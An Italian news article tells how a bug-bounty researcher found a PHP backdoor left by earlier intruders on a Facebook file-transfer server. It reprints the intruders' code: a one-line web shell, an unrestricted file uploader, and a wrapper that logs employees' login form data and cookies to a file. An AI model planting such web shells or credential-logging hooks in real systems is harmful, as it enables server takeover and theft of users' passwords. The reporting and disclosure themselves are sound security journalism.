Tra i diversi sogni di un hacker moderno spicca quello di poter accedere abusivamente allo sconfinato database di dati profilati immagazzinato nei server Facebook.

Di contro parte, il team di sicurezza Facebook ogni giorno lotta per impedire intrusioni informatiche ed evitare che la sicurezza degli account degli utenti Facebook venga compromessa. Però non sempre riesce nello scopo.

Una backdoor PHP è stata trovata all’interno di uno dei server aziendali di Facebook (files.fb.com). Fortunatamente però, non essendo esso uno dei server principali della nota piattaforma social, i dati e le credenziali degli utenti non sono in pericolo.

La web shell è stata scoperta involontariamente dal ricercatore di sicurezza Orange Tsai, impegnato nella ricerca di bug per attingere alla ricompensa messa a disposizione da Facebook per chiunque trova e comunica seri problemi di sicurezza riscontrati all’interno dei propri server.

Durante la sua ricerca, Tsai scoprì una versione vulnerabile del Secure File Transfer Application (FTA) di Accellion, usato dagli impiegati Facebook per scambio dati e condivisioni. Da un’analisi più approfondita del FTA, il ricercatore rilevò sette vulnerabilità:

  • 3 XSS (Cross Site Scripting)
  • 1 Pre-Auth SQL Injection tramutata in RCE
  • 1 Known-Secret-Key anch’essa tramutata in RCE
  • 2 LCE (Local Privilege Escalation)

XSS a parte, le altre sono vulnerabilità critiche che permettono ad un attaccante non solo di eseguire codice remoto ma di acquisire i privilegi di amministratore (root) e prendere il controllo completo dell’intero server.

Come racconta nel suo blog, dopo aver raggiunto il suo scopo penetrando il server Facebook mediante l’upload di una web shell sfruttando il bug della SQL Injection, Tsai iniziò ad analizzare i file di log per preparare il bug report e fu qui che trovò la backdoor.

Backdoor PHP Facebook

Numerosi sono i file sospetti lasciati sul server da “precedenti visitatori”:

Bn3D10AW.php

echo shell_exec($_GET['c']);

Uploader.php

move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"]));

d.php

include_once("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]);

sclient_user_class_standard.inc

include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 
 
// blah blah blah...
 
fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 
 
// blah blah blah...

A parte la web shell è molto interessante quest’ultimo file. Senza scendere troppo nei dettagli, il precedente hacker creò un proxy sulla pagina di login degli impiegati di Facebook rubando tutte le credenziali.

Le password sottratte sono state memorizzate nel file B3dKe9sQaa0L.log:

Rubate Password Impiegati Facebook

Come spesso accade in questi casi, la storia si conclude in lieto fine: il team di sicurezza di Facebook ha provveduto a patchare i server ed a rimuovere la backdoor e Tsai è stato ricompensato con € 8,850.